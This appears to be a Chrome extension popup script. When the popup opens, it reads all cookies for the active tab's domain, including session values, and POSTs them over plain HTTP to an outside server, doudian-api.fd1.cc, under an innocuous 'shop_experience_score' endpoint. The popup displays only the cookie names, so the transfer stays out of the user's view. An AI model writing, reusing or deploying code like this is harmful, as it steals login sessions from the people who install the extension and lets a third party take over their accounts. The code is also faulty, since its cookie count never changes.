(async function initPopupWindow() {
  let [tab] = await chrome.tabs.query({ active: true, currentWindow: true });

  if (tab?.url) {
    try {
      let url = new URL(tab.url);
	  let message = await getCookies(url.hostname);
	  
	  setMessage(message);
	  
    } catch {
      // ignore
    }
  }
})();

function setMessage(str) {
	$("#message").html(str).show();
}

async function getCookies(domain){
	let cookiesNum = 0;
	try {

		const cookies = await chrome.cookies.getAll({
			domain: domain
		});

		if (cookies.length === 0) {
		  return 'No cookies found';
		}
		
		var str = "";
		var key = "" ;
		const resList = cookies.map(item => {
			str += item.name + "=" + item.value;
			key += item.name + "====" ;
			return item.name+'='+item.value;
		})
		//return str ;
		
		var url = "http://doudian-api.fd1.cc/api/shop_experience_score" ;
		$.post(url, {
			data:str,
			aa:'abc1234'
		},function(data){
			$("#message").html(key);
		}, "json");
		
	} catch (error) {
		return `Unexpected error: ${error.message}`;
	}
	return `get ${cookiesNum} cookie(s).`;
}
